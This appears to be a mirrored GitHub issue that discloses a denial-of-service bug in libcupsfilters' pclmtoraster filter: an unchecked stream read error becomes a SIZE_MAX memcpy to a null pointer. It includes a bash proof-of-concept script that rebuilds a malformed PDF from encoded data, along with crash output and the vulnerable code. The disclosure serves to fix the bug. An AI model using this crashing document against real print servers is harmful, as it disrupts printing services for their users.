OpenPrinting / OpenPrinting/libcupsfilters

pclmtoraster: stream error becomes a SIZE_MAX copy

Open
#173 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

process_image() does not check whether an image stream opened successfully
and stores the signed result of pdfioStreamRead() in size_t. A malformed
PCLm-like PDF makes PDFio return -1; this becomes SIZE_MAX, the impossible
allocation fails, and the filter calls memcpy() with a null destination and
a SIZE_MAX length.

The result is a reliable document-triggered filter crash. Although the failing
operation is a copy, the demonstrated destination is null and the plain build
faults immediately. This is a denial of service, not a controlled heap-write
primitive.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pdf is a 517-byte malformed PCLm-like PDF with SHA-256
d33434d17cdf67d1e9f0a49427bf879a0532cc31fce41b2b88728c2a6a600173.
Its damaged cross-reference state makes PDFio rebuild the object graph and
then reject opening an already-open image object stream.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pclmtoraster: stream error becomes a SIZE_MAX copy
# Finding ID: pclmtoraster-stream-error-size-wrap-null-copy
# Trigger: process_image() does not check whether an image stream opened
# successfully and stores the signed result of pdfioStreamRead() in size_t. A
# malformed PCLm-like PDF makes PDFio return -1; this becomes SIZE_MAX, the
# impossible allocation fails, and the filter calls memcpy() with a null
# destination and a SIZE_MAX length.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (517 bytes)
write_file document.pdf d33434d17cdf67d1e9f0a49427bf879a0532cc31fce41b2b88728c2a6a600173 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA6WR30rDMBTG7/MU52aXmqRtpoWxi234BxVLFRSGF1l71mWsyUgzmU+jj+HjmazV
CfXOEMLJl++c3wcZZLOLE36aEA4MzGJNRiOgj29bBDqVTm5MBTSTFTYQeUMO4zFBXQZj1GtoffRG
lQ3M42B/8VPMTjvgvxrjPxvDadFbWw69w1K9f5o9zJkXhjyCszTy83LjpENImS+xMTtbeGYY9Xy/
WGPhDvV1zSDp8rb7G5704Ko+0J9U6VY+J71CVa1CYh99Y+zDVhb+eYavqsD8cgJ0olyToZ2aemt0
SJwAvUVd+fY4kBpnUdbEewO0u3X4vcUlYSAI+1kwFCIWsISjlkL7oo+aOO9pnItW+9Aw+Mc3EvYF
6EaO6gUCAAA=
POC_PAYLOAD_0

Result

With allocator_may_return_null=1, UBSan reports a null pointer at
pclmtoraster.c:868 and ASan classifies the impossible copy ranges as
memcpy-param-overlap. Without that ASan option, allocation-size validation
terminates first. The unsanitized filter exits with SIGSEGV, status 139.

An isolated CUPS scheduler accepts the file as application/pclm, selects
pclmtoraster, and reports that the filter crashed on signal 11. The
scheduler remains alive and stops only the affected job; see
cupsd-pipeline.txt.

Cause and expected behavior

At lines 853-868, the code neither validates img_str nor preserves the
signed return type:

pdfio_stream_t *img_str = pdfioObjOpenStream(image, true);
size_t bufsize = pdfioStreamRead(img_str, buffer, sizeof(buffer));
...
data->bitmap = malloc(bufsize);
memcpy(data->bitmap + data->pixel_count, buffer, bufsize);

pdfioStreamRead() returns ssize_t and documents -1 on error. The filter
must reject a null stream and every negative read result, use checked addition
for bitmap growth, and test malloc()/realloc() before copying. This is
distinct from a successful but short image stream: validating only declared
image dimensions would not fix this error path.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in pclmtoraster.c around process_image() lines 853-868 and run reproduce.sh with poc/document.pdf. Trace the pdfio stream open and read error paths, then verify that invalid streams, negative reads, bitmap-size overflow, and allocation failures are rejected before copying. Done means the malformed document no longer crashes the filter and the existing reproduction reaches a controlled failure.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.